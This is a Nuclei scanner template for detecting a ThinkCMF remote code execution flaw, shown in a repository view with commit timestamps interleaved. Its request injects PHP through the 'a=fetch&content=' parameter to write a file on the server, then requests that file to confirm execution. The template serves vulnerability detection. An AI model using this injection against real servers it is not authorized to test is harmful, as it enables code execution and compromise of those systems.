nuclei-templates/http/vulnerabilities/thinkcmf/thinkcmf-rce.yaml

35 lines
1.0 KiB
YAML
Raw Permalink Normal View History

id: thinkcmf-rce
2021-02-11 17:31:25 +00:00
info:
name: ThinkCMF - Remote Code Execution
2021-02-11 17:31:25 +00:00
author: pikpikcu
severity: critical
description: ThinkCMF is susceptible to a remote code execution vulnerability.
reference:
- https://www.freebuf.com/vuls/217586.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2023-10-14 11:27:55 +00:00
cvss-score: 10
cwe-id: CWE-77
metadata:
max-request: 2
2023-10-14 11:27:55 +00:00
tags: thinkcmf,rce,intrusive
2021-02-11 17:31:25 +00:00
2024-04-15 11:26:37 +00:00
variables:
string: "thinkcmf-rce"
http:
2021-09-30 14:52:53 +00:00
- raw:
- |
2024-04-15 11:26:37 +00:00
GET /index.php?a=fetch&content={{url_encode('<?php file_put_contents(\"{{randstr}}.php\",\"<?php echo md5(\"{{string}}\");unlink(__FILE__);\");')}} HTTP/1.1
2021-09-30 14:52:53 +00:00
Host: {{Hostname}}
- |
GET /{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
2021-02-11 17:31:25 +00:00
2021-09-30 14:52:53 +00:00
matchers:
2024-04-15 11:26:37 +00:00
- type: word
part: body_2
words:
- '{{md5(string)}}'
# digest: 4a0a00473045022030890616e0f09cfc90e2452536e18123bff965a717169a2ef213532afea46c2b022100d2b32714e9bb740a01c43baef809ef37cde80648c9163d97ab0e741f9da9c3ec:922c64590222798bb761d5b6d8e72950